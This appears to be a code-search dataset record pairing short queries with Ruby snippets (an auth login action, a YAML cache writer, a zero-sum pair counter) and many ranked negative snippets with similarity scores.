[ "0.7244705", "0.7076334", "0.6979033", "0.6818865", "0.6553674", "0.6435024", "0.6435024", "0.6417512", "0.6215418", "0.6109889", "0.6103081", "0.6103081", "0.6092437", "0.6067316", "0.60466015", "0.60466015", "0.60466015", "0.60466015", "0.60268235", "0.60029083", "0.60001045", "0.5972981", "0.5922168", "0.5922168", "0.589894", "0.588677", "0.5848819", "0.5847343", "0.5838252", "0.5838046", "0.5836041", "0.58331156", "0.57956487", "0.57956487", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.57952106", "0.5740862", "0.5740269", "0.57349735", "0.5734523", "0.57242453", "0.57107884", "0.568486", "0.5675833", "0.5673155", "0.5661967", "0.5654853", "0.5649609", "0.5648813", "0.5646689", "0.5642008", "0.5637318", "0.5615323", "0.56139916", "0.56139916", "0.5611912", "0.5595312", "0.55865604", "0.5541137", "0.55339754", "0.55319345", "0.55162376", "0.5514606", "0.5514606", "0.5514606", "0.5514606", "0.5514606", "0.5514606", "0.5513311", "0.5498978", "0.54969853", "0.5491227", "0.5481372", "0.5480964", "0.54721117", "0.54699284", "0.5465604", "0.54588515", "0.5454921", "0.5452772" ]
0.6929207
3
Needed for developer strategy
def create user = User.find_or_create_from_auth_hash(auth_hash) cookies.signed[:user_id] = user.id redirect_to messages_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def strategy; end", "def who_we_are\r\n end", "def schubert; end", "def suivre; end", "def refutal()\n end", "def implementation; end", "def implementation; end", "def custom; end", "def custom; end", "def used?; end", "def weber; end", "def internal; end", "def scientist; end", "def intensifier; end", "def extra; end", "def isolated; end", "def isolated; end", "def appraisals; end", "def appraisals; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def provider; end", "def public; end", "def public; end", "def apis; end", "def formation; end", "def external; end", "def private_method\n end", "def vendor; end", "def usage; end", "def usage; end", "def how_it_works\r\n end", "def active; end", "def active; end", "def processor; end", "def zuruecksetzen()\n end", "def verdi; end", "def internal?; end", "def sitemaps; end", "def operations; end", "def operations; end", "def terpene; end", "def informational?; end", "def production_curtailment; end", "def identify; end", "def jack_handey; end", "def villian; end", "def rossini; end", "def manufacture; end", "def standalone; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def global; end", "def usable?; end", "def stand_alone?; end", "def stand_alone?; end", "def developer\n end", "def wrapper; end", "def hints; end", "def overrides; end", "def info; end", "def info; end", "def available; end", "def available; end" ]
[ "0.79726994", "0.70875525", "0.69392306", "0.69392306", "0.69392306", "0.69392306", "0.6905697", "0.6889591", "0.68687683", "0.6824747", "0.67890316", "0.6736028", "0.6736028", "0.6724556", "0.6724556", "0.65981853", "0.6564458", "0.6554731", "0.6489286", "0.64706916", "0.64465135", "0.64385694", "0.64385694", "0.6350516", "0.6350516", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.6304348", "0.62970054", "0.6283685", "0.6283685", "0.6277796", "0.6274053", "0.62660426", "0.625567", "0.62155783", "0.6205074", "0.6205074", "0.62048376", "0.61998", "0.61998", "0.6197206", "0.6195883", "0.6187509", "0.61678576", "0.6163973", "0.6160593", "0.6160593", "0.6158796", "0.6153667", "0.6151333", "0.6124928", "0.61052465", "0.6095219", "0.6085875", "0.60805196", "0.6072402", "0.60646844", "0.60646844", "0.60646844", "0.60646844", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.60567284", "0.6054461", "0.60476047", "0.60437214", "0.60437214", "0.60253704", "0.60229826", "0.60151213", "0.601161", "0.6004682", "0.6004682", "0.6004511", "0.6004511" ]
0.0
-1
Write out a cache of data
def cache(key, value, source = nil) if key.nil? || value.nil? raise ArgumentError, 'Missing key or value to store' end mycache = find_cache(key, source) make_cache_path(mycache[:dir]) unless mycache[:dir].nil? # don't use the Rubyist standard pattern so we can test with rspec begin out = File.open(mycache[:file], 'w') YAML.dump({ key.to_s => value }, out) out.close rescue StandardError => e Facter.debug("Unable to write to cache #{mycache[:file]}: #{e.backtrace[0]}: #{$ERROR_INFO}.") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write_cache\n data = cache_data\n open(writable_file, \"wb\") do |f|\n\tf.puts Marshal.dump(data)\n end\n end", "def write_cache\n File.write(CACHE_PATH, @data.to_json)\n end", "def write_cache_file\n open(@cache_file, 'w') do |f|\n f.puts({ \n :userid => @userid,\n :token => @token,\n :account_info => @account_info,\n :remote_folders => @remote_folders,\n :remote_contexts => @remote_contexts,\n :last_sync => Time.now.to_i ,\n }.to_yaml)\n end\n end", "def write\n return unless Dir.exist?(File.dirname(cache_file))\n @cache[\"version\"] = VERSION\n File.open(cache_file, \"w\") do |fh|\n fh.puts(JSON.dump(@cache))\n end\n end", "def write_cache(url, data, json: true)\n filename = cache_filename(url, json)\n logger.debug(\"Writing cache #{filename}\")\n FileUtils.mkdir_p(File.dirname(filename))\n if json\n IO.write(filename, JSON.dump(data))\n else\n IO.binwrite(filename, data)\n end\n end", "def write\n File.write(cache_file, @cache_log.to_json)\n end", "def save_cached_data\n # open file for writing\n @file_handle = File.open(file_path, 'w')\n \n # write data string into file\n @file_handle << (@file_data_to_write.respond_to?(:read) ? @file_data_to_write.read : @file_data_to_write)\n \n # close file\n close_file\n \n end", "def save_cached_data\n # open file for writing\n @file_handle = File.open(file_path, 'w')\n \n # write data string into file\n @file_handle << (@file_data_to_write.respond_to?(:read) ? @file_data_to_write.read : @file_data_to_write)\n \n # close file\n close_file\n \n end", "def cache(data); end", "def write_cache_file()\n @logger.debug @cache.inspect\n File.open(options[:cache_file], \"w\") {|f| f.write(@cache.to_yaml)}\n end", "def flush\n File.open(\"data/#{Time.now.to_i.to_s}\",'w') { |f| Marshal.dump(@cache, f) }\n File.open(\"data2/#{Time.now.to_i.to_s}\",'w') { |f| Marshal.dump(@cache, f) }\n puts \"=\"\n end", "def cache_write(key, data)\n @mutex.synchronize do\n @cache[key] = data\n end\n end", "def save\n File.binwrite(file, JSON.pretty_generate(@cache))\n end", "def write_cache_file key, content\n f = File.open( cache_file(key), \"w+\" )\n f.flock(File::LOCK_EX)\n f.write( content )\n f.close\n return content\n end", "def cache(gist, file, data)\n cache_file = get_cache_file_for gist, file\n File.open(cache_file, \"w\") do |io|\n io.write data\n end\n end", "def write_cache(cache, path)\n if @use_cache then\n File.open path, \"wb\" do |cache_file|\n Marshal.dump cache, cache_file\n end\n end\n\n cache\n rescue Errno::EISDIR # HACK toplevel, replace with main\n cache\n end", "def cache_write(cache_file, data)\n File.open(cache_file, \"w+\") do |cache_data|\n cache_data.flock(File::LOCK_EX)\n cache_data.write(data)\n cache_data.flock(File::LOCK_UN)\n end\n true\n end", "def write_cache!(session)\n FileUtils.mkdir_p(Config.cache_path)\n File.open(cached_file, \"w\") do |cache_file|\n cache_file.write(session.serialize)\n end\n end", "def flush_cache(cache)\n File.open(@data_file, 'w') do |out|\n YAML.dump(cache, out)\n end\n end", "def save\n cache_json = JSON.generate @_cache\n File.open(@file_path, 'w') { |file| file.write(cache_json) }\n end", "def write(key, value)\n @cache[key] = value\n end", "def write(request, response)\n key = cache_key_for(request)\n value = @serializer.dump(response.serializable_hash)\n @cache.write(key, value)\n end", "def store_cache\n if options.key? :cache_results\n json = @results_cache.to_json\n outf = File.open(\"/tmp/%s_%s_snmp_results.json\" % [options[:model], options[:host]], \"w\")\n outf.write(json)\n outf.close\n end\n end", "def write_cache(resource, content)\n expanded_path = cache_path_for(resource)\n return false unless expanded_path\n FileUtils.mkdir_p(File.dirname(expanded_path))\n @logger.info(self.class) { \"Caching #{content.length} B for #{resource}\" }\n File.write(expanded_path, content)\n end", "def save_cache\n open(Settings[:cache_file], 'w').write @list.to_yaml\n end", "def save_cache\n clean_cache_collection @cache[:ancestors]\n clean_cache_collection @cache[:attributes]\n clean_cache_collection @cache[:class_methods]\n clean_cache_collection @cache[:instance_methods]\n\n @cache[:modules].uniq!\n @cache[:modules].sort!\n\n @cache[:pages].uniq!\n @cache[:pages].sort!\n\n @cache[:encoding] = @encoding # this gets set twice due to assert_cache\n\n @cache[:c_class_variables].merge! @c_class_variables\n @cache[:c_singleton_class_variables].merge! @c_singleton_class_variables\n\n return if @dry_run\n\n File.open cache_path, 'wb' do |io|\n Marshal.dump @cache, io\n end\n end", "def cache(uri, obj)\n filename=cacheFileName(uri)\n print(\"Creating #{filename}\\n\")\n File.open(filename, 'w') {|f| f.write(obj) }\nend", "def write\n hash = attributes_hash\n write_value(serializer_class.dump(hash))\n @_cache = hash # set @_cache after the write\n end", "def cache_write(value, key: cache_key, **)\n Rails.cache.write(key, value, namespace: namespace) if validate_key(key)\n end", "def write(key, value, opts = {})\n _key = Digest::SHA1.hexdigest key\n ttl = opts[:ttl] || @default_ttl\n \n # We don't want to cache errors\n return if value.is_a?(Faraday::Response) && !value.success?\n\n if (value.is_a?(Faraday::Response) && !value.headers['expires'].nil?)\n resp_ttl = DateTime.parse(value.headers['expires']).to_time.to_i - Time.now.to_i\n ttl = resp_ttl if resp_ttl > 0\n end\n\n _value = Marshal.dump value\n\n @memory_store[_key] = value\n $LOG.debug \"Writing to JDG cache hashed #{_key} for #{key}\"\n @conn.put do |req|\n req.url \"/rest/jbossdeveloper/#{@profile}_#{_key}\"\n req.headers['Content-Type'] = opts[:content_type] || 'application/ruby+object'\n req.headers['timeToLiveSeconds'] = ttl.to_s # need to see if we're actually a request and full from that\n req.body = _value\n end\n end", "def save(data=cached_data)\n lock do\n File.safe_write(path, JSON.pretty_generate(data))\n end\n end", "def write\n return false unless @path\n\n clean!\n\n @path.open('w') do |file|\n file.puts YAML.dump(@cache)\n end\n\n true\n end", "def write(data)\n File.open(@filename, mode(\"w\")) do |f|\n f.flock File::LOCK_EX\n f << export(data)\n end\n end", "def data\n @cache ||= {}\n end", "def flush_cache(cache)\n cache[:last_checked] = @last_checked\n File.open(@data_file, 'w') do |out|\n YAML.dump(cache, out)\n end\n end", "def save_data(key, data, expire_in = nil)\n expire_in = 3600 if expire_in.nil? # 3600 seconds = 1 hour\n expire_in += Time.now.to_i\n\n _create_cache_directory_if_needed\n expire_cache!(key)\n\n filename = \"#{key}-#{expire_in}-json.cache\"\n\n begin\n File.open(@cache_dir + filename, 'w') {|f| f.write( Marshal.dump(data) ) }\n rescue\n return 'Unable to write to file'\n end\n\n return true \n end", "def update_cache\n Rails.logger.debug \"Updating cache for... #{@@cache_file}\"\n fp = File.new(@@cache_file, 'w')\n if fp\n # acquire an exclusive lock (writer)\n if fp.flock(File::LOCK_EX)\n content = open(@@file_path).read\n \n if content\n #logger.debug \"Generate cache file: #{@@cache_file}\"\n fp.write(content) # writes to the file\n end\n \n fp.flock(File::LOCK_UN) # release a lock\n end\n fp.close\n end\n end", "def cache_at_client(filename,s)\n s.puts(\"CACHE:\\n\")\n s.puts(filename)\n s.puts(\"\\n\")\n data = s.read\n\tdest_file = File.open(filename, 'wb')\n\tdest_file.print(data)\n\tdest_file.close\nend", "def writable_file\n @cache_file\n end", "def put(key = '', data = '')\n if key != '' && data != ''\n puts \"Writing into cache with key: #{key}\" if ENV['DEBUG']\n return ::File.write(@cache_dir+key, data)\n end\n\n return false\n end", "def cache\n DataCache\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def write(key, value, ttl = 0, marshaling = true)\n Rails.cache.write(key, value, {expires_in: get_ttl(ttl), raw: !marshaling})\n nil\n rescue => exc\n Rails.logger.error { \"MEMCACHE-ERROR: write: K: #{key}. M: #{exc.message}, I: #{exc.inspect}\" }\n nil\n end", "def save_cache!(config_file = File.expand_path(Assh::CONFIG_CACHE),\n timestamp_file = File.expand_path(Assh::CONFIG_CACHE_AT))\n cache = {\n hosts: @hosts,\n groups: @groups\n }\n File.open(config_file, 'w') { |f| f << cache.to_yaml }\n File.open(timestamp_file, 'w') { |f| f << current_time }\n\n end", "def cache=(input)\n case\n when input && !cached?\n cache = io_index.to_a\n io_index.close\n @io_index = cache\n \n when !input && cached?\n io_index << {:format => 'II'}\n @io_index = ExternalIndex[*io_index]\n \n end\n end", "def write(cache_key, env, response)\n payload = Payload.from_response(response).tap do\n _1.comment = \"#{env.method.upcase} #{env.url}\"\n end\n cache.write(cache_key, payload)\n end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def write(key, value, expires_in: nil)\n @cache[key] = value\n @expires[key] = Faulty.current_time + expires_in unless expires_in.nil?\n end", "def cached(cache_key_proc = :cache_key.to_proc)\n cache_options = { namespace: \"#{name}#write_to_json\", version: OjSerializers::VERSION }.freeze\n\n # Internal: Redefine `write_one` to use the cache for the serialized JSON.\n define_singleton_method(:write_one) do |external_writer, item, options = nil|\n cached_item = CACHE.fetch(item_cache_key(item, cache_key_proc), cache_options) do\n writer = new_json_writer\n non_cached_write_one(writer, item, options)\n writer.to_json\n end\n external_writer.push_json(\"#{cached_item}\\n\") # Oj.dump expects a new line terminator.\n end\n\n # Internal: Redefine `write_many` to use fetch_multi from cache.\n define_singleton_method(:write_many) do |external_writer, items, options = nil|\n # We define a one-off method for the class to receive the entire object\n # inside the `fetch_multi` block. Otherwise we would only get the cache\n # key, and we would need to build a Hash to retrieve the object.\n #\n # NOTE: The assignment is important, as queries would return different\n # objects when expanding with the splat in fetch_multi.\n items = items.entries.each do |item|\n item_key = item_cache_key(item, cache_key_proc)\n item.define_singleton_method(:cache_key) { item_key }\n end\n\n # Fetch all items at once by leveraging `read_multi`.\n #\n # NOTE: Memcached does not support `write_multi`, if we switch the cache\n # store to use Redis performance would improve a lot for this case.\n cached_items = CACHE.fetch_multi(*items, cache_options) do |item|\n writer = new_json_writer\n non_cached_write_one(writer, item, options)\n writer.to_json\n end.values\n external_writer.push_json(\"#{OjSerializers::JsonValue.array(cached_items)}\\n\") # Oj.dump expects a new line terminator.\n end\n end", "def data_cache(fpath)\n (@data_caches ||= []) << fpath\n return fpath\n end", "def write_if_empty\n return if cached_content.present?\n\n @diff_collection.diff_files.each do |diff_file|\n next unless cacheable?(diff_file)\n\n diff_file_id = diff_file.file_identifier\n\n cached_content[diff_file_id] = diff_file.highlighted_diff_lines.map(&:to_hash)\n end\n\n cache.write(key, cached_content, expires_in: 1.week)\n end", "def write\n write_data\n end", "def cache\n persist('memory_only_ser')\n end", "def write_entry(key, entry, options) # :nodoc:\n value = serialize_entry(entry)\n if (options && options[:expires_in])\n expires_in = options[:expires_in].to_i\n response = @data.setex(key, expires_in, value)\n else\n response = @data.set(key, value)\n end\n rescue => e\n logger.error(\"Error writing cache entry to redis: #{e}\") if logger\n false\n end", "def set_cache(cache_data)\n cache_data.each do |id, data|\n Memcache.write(@id_to_cache_key_map[id][:kit], data, get_cache_expiry)\n end\n end", "def write(key, content)\n temp_file = File.join(root, ['tmp', $$, Thread.current.unique_id].join('-'))\n File.open(temp_file, 'wb') do |dest|\n if content.respond_to? :to_str\n dest.write(content.to_str)\n else\n content.each {|s| dest.write(s) }\n end\n end\n\n path = cache_path(key)\n if File.exist?(path)\n File.unlink temp_file\n else\n FileUtils.mkdir_p File.dirname(path), :mode => 0755\n FileUtils.mv temp_file, path\n end\n true\n rescue\n File.unlink temp_file rescue false\n false\n end", "def write_disk_cache\n\t\t\t\tif File.exists?(\"#{$cache_path}/#{@host}_disks.yaml\")\n\t\t\t\t\t\t$log.info \"Doing backup of cachefile to #{@host}_disks.yaml\"\n\t\t\t\t\t\tFileUtils.mv(\"#{$cache_path}/#{@host}_disks.yaml\",\"#{$cache_path}/#{@host}_disks_backup.yaml\")\n\t\t\t\t\t\t@olddisks = YAML::load(File.read(\"#{$cache_path}/#{@host}_disks_backup.yaml\"))\n\t\t\t\tend\n\t\t\t\tFile.open( \"#{$cache_path}/#{@host}_disks.yaml\", 'w' ) do |out|\n\t\t\t\t\t\tYAML.dump(@disks,out)\n\t\t\t\tend\n\t\t\t\t$log.info \"Disk cache written for #{@host}\"\n\t\tend", "def cache_content(type, data)\n return nil unless type.present?\n\n Rails.cache.write(type, data, expires_in: 60.minutes)\n rescue StandardError => e\n logger.error(\"Unable to add #{type} to the Rails cache: #{e}.\")\n end", "def escribe_cache\n Rails.cache.write(\"cache_service_#{id}\", true, :expires_in => 1.week)\n end", "def write data\n _data[:out].write data\n _data[:out].flush\n end", "def flush\n write_cache if @dirty\n @dirty = false\n end", "def write\n return if PictureTag.site.config['disable_disk_cache']\n\n FileUtils.mkdir_p(File.join(base_directory, sub_directory))\n\n File.open(filename, 'w+') do |f|\n f.write JSON.generate(data)\n end\n end", "def cache_xml\n write_xml = to_xml\n file = File.new \"#{cache_file_path}.xml\", 'w'\n file.puts write_xml\n file.close\n write_xml\n end", "def set(key, value)\n path = File.join(@root, \"#{key}.cache\")\n\n # Ensure directory exists\n FileUtils.mkdir_p File.dirname(path)\n\n # Check if cache exists before writing\n exists = File.exist?(path)\n\n # Serialize value\n marshaled = Marshal.dump(value)\n\n # Compress if larger than 4KB\n if marshaled.bytesize > 4 * 1024\n deflater = Zlib::Deflate.new(\n Zlib::BEST_COMPRESSION,\n Zlib::MAX_WBITS,\n Zlib::MAX_MEM_LEVEL,\n Zlib::DEFAULT_STRATEGY\n )\n deflater << marshaled\n raw = deflater.finish\n else\n raw = marshaled\n end\n\n # Write data\n PathUtils.atomic_write(path) do |f|\n f.write(raw)\n @size = size + f.size unless exists\n end\n\n # GC if necessary\n gc! if size > @max_size\n\n value\n end", "def cache_store; end", "def cache_store; end", "def cache(file_obj, data_result, url, username, password)\n data_result[:uuid] = UUID.generate\n key = generate_key url, username, password\n\n begin\n data_result[:data_tmp_path] = store_data_to_tmp file_obj, data_result[:uuid]\n data_result[:time_stored] = Time.now\n @@file_cache[key] = data_result\n rescue Exception => e\n @@file_cache[key] = nil\n end\n end", "def lut_write_to_cache(lut_key)\n if lut_options(lut_key)[:sql_mode]\n count = lut_write_to_cache_sql_mode(lut_key)\n else\n count = lut_write_to_cache_no_sql_mode(lut_key)\n end\n\n # HACK: Writing a \\0 to terminate batch_items\n lut_write_cache_item(lut_key, count, nil)\n end", "def write(data); end", "def write(data); end", "def write(data); end", "def write(data); end", "def save_tracker_cache\n # These values should only be written if the audit has been successful!!\n # Best to write it back to a new file - then move the new file to the\n # original location (overwriting the original)\n return if @parent.ret_val == 3\n tracker_file = get_tracker_filename\n File.open(tracker_file + \".temp\", 'w') { |f|\n # First, save the initial timestamp and the current SOA serial\n f.puts(@initial_timestamp.to_s)\n f.puts(@last_soa_serial.to_s)\n # Now save the cache!!\n Status.strings.each {|s|\n status = s.downcase\n eval \"@cache.#{status}.each {|key, time|\n write_key_to_file(f, key.to_s, status, time[0], time[1])\n }\".untaint\n }\n\n }\n # Now move the .temp file over the original\n File.delete(tracker_file)\n File.rename(tracker_file+\".temp\", tracker_file)\n end", "def cache(name, &block)\n data = nil\n begin\n cache_data = nil\n begin\n cache_data = read(name)\n rescue\n cache_data = { :data => data, :time => Time.at(0) } # no cache\n end\n if ! cache_data[:data] ||\n cache_data[:data] == nil ||\n cache_data[:data] == '' ||\n cache_data[:data].to_sym == :undefined || (Time.now - cache_data[:time]) > @config[:ttl]\n begin\n data = block.call\n write(name, data)\n ::Puppet.debug \"wrote cache for #{name} => #{data}\" if @config[:debug]\n rescue Exception => e\n ::Puppet.warn \"failed to get facter value for cache, #{e}\"\n end\n else\n data = cache_data[:data]\n ::Puppet.debug \"using cache for #{name} => #{data}\" if @config[:debug]\n end\n rescue Exception => e\n ::Puppet.warn \"failed to cache data for cache\" if @config[:debug]\n end\n return data\n end", "def save_page(p)\n if p.record.page_entries != p.values.length\n raise RuntimeError, \"page_entries mismatch for node #{p.uid}\"\n end\n begin\n @f.seek(p.uid * @page_size * 8)\n @f.write(p.values.pack('Q*'))\n rescue IOError => e\n PEROBS.log.fatal \"Cannot write cache file #{@file_name}: #{e.message}\"\n end\n end", "def store(request, response)\n return unless response.cachable?\n\n entries = cache_entries_for(request)\n entries[request] = response\n\n @memcache[request.to_mc_key] = entries\n end", "def write_to_file_cache(file, payload)\n puts \"direct access, storing in #{file}\"\n File.open( file, 'w' ) do |out|\n Marshal.dump(payload, out)\n end\n payload\n end", "def flush!\n @_cache = {}\n end", "def set_cache\n cache_key = self.class.cache_key(self.key)\n Rails.cache.write(cache_key, self.actual_value)\n end", "def cache_write(obj)\n # This is just a safety check. It can probably be disabled in the future\n # to increase performance.\n #if obj.respond_to?(:is_poxreference?)\n # # If this condition triggers, we have a bug in the library.\n # PEROBS.log.fatal \"POXReference objects should never be cached\"\n #end\n\n if @transaction_stack.empty?\n # We are not in transaction mode.\n idx = index(obj)\n if (old_obj = @writes[idx]) && old_obj._id != obj._id\n # There is another old object using this cache slot. Before we can\n # re-use the slot, we need to sync it to the permanent storage.\n old_obj._sync\n end\n @writes[idx] = obj\n else\n # When a transaction is active, we don't have a write cache. The read\n # cache is used to speed up access to recently used objects.\n cache_read(obj)\n # Push the reference of the modified object into the write buffer for\n # this transaction level.\n unless @transaction_stack.last.include?(obj._id)\n @transaction_stack.last << obj._id\n @transaction_objects[obj._id] = obj\n end\n end\n end", "def cache\n # Do a deep copy\n Marshal.load(Marshal.dump(@@cache))\n end", "def flush_cache; end", "def cache(key, options = {}, &block)\n name = cache_name(key)\n tags = options.delete(:tags) || []\n check_tags_existance(name, tags)\n if ActionController::Base.perform_caching\n cache = read(name, options)\n if cache && cache.is_a?(Hash) && cache[:data] && is_cache_actual?(cache) \n # Overwriting the cache with the same data for avoiding its expiration\n # when 'freeze cache' option is enabled.\n write(name, cache, options) if AstroConfig.freeze_cache?\n data = modify_cache_by_personalized_data(cache[:data], options)\n data.is_a?(String) ? data.html_safe : data\n else\n self.class.do_not_cache_block = false\n output = execute_block(&block)\n unless self.class.do_not_cache_block\n tags_hash = generate_tags_hash(tags)\n write(name, { :data => output, :tags => tags_hash }, options)\n end\n self.class.do_not_cache_block = false\n output.is_a?(String) ? output.html_safe : output\n end\n else\n execute_block(&block)\n end\n end", "def write(obj, archive_name)\n filename = \"#{archive_name}-#{obj.class.name}\"\n File.open(File.join(@cache_dir, filename), \"w\") do |out|\n Marshal.dump(obj, out)\n end\n end", "def cache(key, opts = {}, &block)\n return yield if opts[:disable] || !Config.production?\n if exist?(key) && !opts[:update]\n content = read(key)\n return opts[:marshal] ? Marshal.restore(content) : content\n end\n content = yield\n write(key, opts[:marshal] ? Marshal.dump(content) : content)\n content\n end", "def write(entry)\n @entry_buffer << entry\n\n # Write buffer to disk every 10 entries or 300 seconds\n if @entry_buffer.length >= 10 || (Time.now.to_i - @last_write) > 300\n # Write buffer\n write_buffer\n\n # Clear buffer\n @entry_buffer = []\n @last_write = Time.now.to_i\n end\n end", "def write(name, value, options = nil)\n # check :unless_exist option\n return nil if options && options[:unless_exist] && exist?(name)\n\n # create wrapper with expiry data\n wrapper = if options && options[:expires_in]\n { :value => value, :expires_at => expires_in(options).from_now }\n else\n { :value => value }\n end\n\n # call ActiveSupport::Cache::MemoryStore#write\n super(name, wrapper, options)\n end", "def make_fresh_writelist\n @to_write = {}\n @data.keys.each do |namelist|\n @to_write[namelist] = Array.new(@data[namelist].size, '')\n end\n end", "def set(data)\n data = data.to_json\n cache_key = Digest::SHA1.hexdigest(data)\n\n log(\"insert :Cache, #{cache_key} -> {'blob' => #{data.inspect}}\")\n connection.insert(:Cache, cache_key, { \"blob\" => data })\n cache_key\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def save_cache\n Dir.mkdir(CACHE_DIR) unless File.exists?(CACHE_DIR)\n all_yoga_classes_with_integer_times = deep_copy(@all_yoga_classes)\n all_yoga_classes_with_integer_times.each do |k,v|\n all_yoga_classes_with_integer_times[k]['start_date'] = v['start_date'].to_i\n all_yoga_classes_with_integer_times[k]['end_date'] = v['end_date'].to_i\n end\n File.open(@cache_file,\"w\"){ |f| f << all_yoga_classes_with_integer_times.to_json }\n end" ]
[ "0.8716462", "0.84039193", "0.76448786", "0.7585536", "0.75293905", "0.74744594", "0.7464213", "0.7464213", "0.7215313", "0.7208699", "0.71989673", "0.7183229", "0.70965505", "0.7047877", "0.70363396", "0.701875", "0.6990915", "0.69248235", "0.68626535", "0.68523544", "0.68445325", "0.6840736", "0.6815185", "0.6794383", "0.6724202", "0.67151797", "0.6682879", "0.6662175", "0.663435", "0.6586905", "0.6539386", "0.6531903", "0.65076333", "0.6506944", "0.6466119", "0.64356756", "0.64338374", "0.6431568", "0.63813806", "0.63720316", "0.6369569", "0.63637584", "0.63637584", "0.63637584", "0.63637584", "0.6344472", "0.63437533", "0.6343137", "0.6337709", "0.6323106", "0.6323106", "0.6323106", "0.6323106", "0.6323106", "0.6323106", "0.6323106", "0.6318923", "0.6305176", "0.629481", "0.62887657", "0.6203517", "0.61877096", "0.6186626", "0.6163339", "0.6144606", "0.6143206", "0.61388874", "0.6130655", "0.61269134", "0.6116391", "0.6113636", "0.6109626", "0.60910445", "0.6085848", "0.6085848", "0.60841334", "0.6068117", "0.60622007", "0.60622007", "0.60622007", "0.60622007", "0.60563517", "0.60520583", "0.6031619", "0.601363", "0.60036397", "0.5986037", "0.59816754", "0.5976017", "0.5967371", "0.59659886", "0.5961035", "0.5960759", "0.5948747", "0.5947733", "0.5934613", "0.5925462", "0.5922414", "0.59057885", "0.59057885", "0.59048826" ]
0.0
-1
The method should return the number of pairs of elements that sum to 0.
def pairs_to_zero(nums) # Write your code here c = [] a = nums.select { |n| c.push(n) if n < 0 } nums.delete_if { |n| c.push(n) if n < 0 } i = 0 pairs = 0 a = a.map { |n| n*-1 } loop do if nums.count(a[i]) > 0 pairs += 1 end i += 1 break if i == a.length end return pairs end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pairs_to_zero(nums)\n\n count = 0\n newArr = []\n\n for i in 0..nums.length do\n for j in 1..nums.length do\n if nums[i].to_i + nums[j].to_i == 0\n count = count + 1\n end\n end\n end\n return count-2\nend", "def opposite_count(nums)\n pairs = 0\n nums.each do |num1|\n nums.each do |num2|\n if num1 + num2 == 0\n pairs += 1\n end\n end\n end\n return pairs / 2\nend", "def strange_sums(nums)\n count = 0\n nums.combination(2) {|pair| count += 1 if pair[0] + pair[1] == 0}\n count\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def opposite_count(arr)\n count = 0\n arr.each_with_index do |element1, idx1|\n arr.each_with_index do |element2, idx2|\n if idx2 > idx1 && element1 + element2 == 0\n count += 1\n end\n end\n end\n return count\nend", "def opposite_count(nums)\n count = 0\n \n nums.each_with_index do |ele1, idx1|\n nums.each_with_index do |ele2, idx2|\n if idx2 > idx1 && ele1 + ele2 == 0\n count +=1\n end\n end\n end\n print count\nend", "def opposite_count(nums)\n pair=0\n nums.each do |num1|\n \tnums.each do |num2|\n \tif nums.index(num2)>nums.index(num1) && num2+num1==0\n pair+=1\n end\n end\n end\n return pair\n \n \n\nend", "def strange_sums(arr)\n # iterate arr, nested in iterate arr\n # each pair, if sum is zero, increase count by 1\n count = 0\n\n arr.each.with_index do |num1, idx1|\n arr.each.with_index do |num2, idx2|\n if idx2 > idx1 && num1 + num2 == 0\n count += 1\n end\n end\n end\n\n count\nend", "def two_sum\n pairs = []\n\n self.count.times do |i1|\n (i1 + 1).upto(self.count - 1) do |i2|\n pairs << [i1, i2] if self[i1] + self[i2] == 0\n end\n end\n\n pairs\n end", "def pair_zeros(arr)\n arr.select.each_with_index do |num, idx|\n num != 0 || (num == 0 && count(arr, num, idx) % 2 == 1)\n end\nend", "def opposite_count(array)\n count = 0 \n array.combination(2).to_a.each do |nums|\n count += 1 if nums.sum == 0\n end\n\n count\nend", "def opposite_count(nums)\n sum = 0\n\n nums.each_with_index do |num1, idx1|\n nums.slice(idx1+1..-1).each_with_index do |num2, idx2|\n if num1 + num2 == 0\n sum += 1\n end\n end\n end\n sum # implicit \"return sum\"\nend", "def opposite_count(nums)\n\n new = [] \n\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n\n if idx1 < idx2\n if num1 + num2 == 0 \n new << [num1, num2]\n end \n end \n\n end \n end \n return new.length\n\nend", "def strange_sums(arr)\n count = 0\n arr.each_with_index do |ele, i|\n arr.each_with_index do |ele2, i2|\n if i > i2\n if ele + ele2 == 0\n count += 1\n end\n end\n end\n end\n count\nend", "def pair_sum_count(num)\n pairs = []\n self.each_with_index do |ele1, i1|\n self.each_with_index do 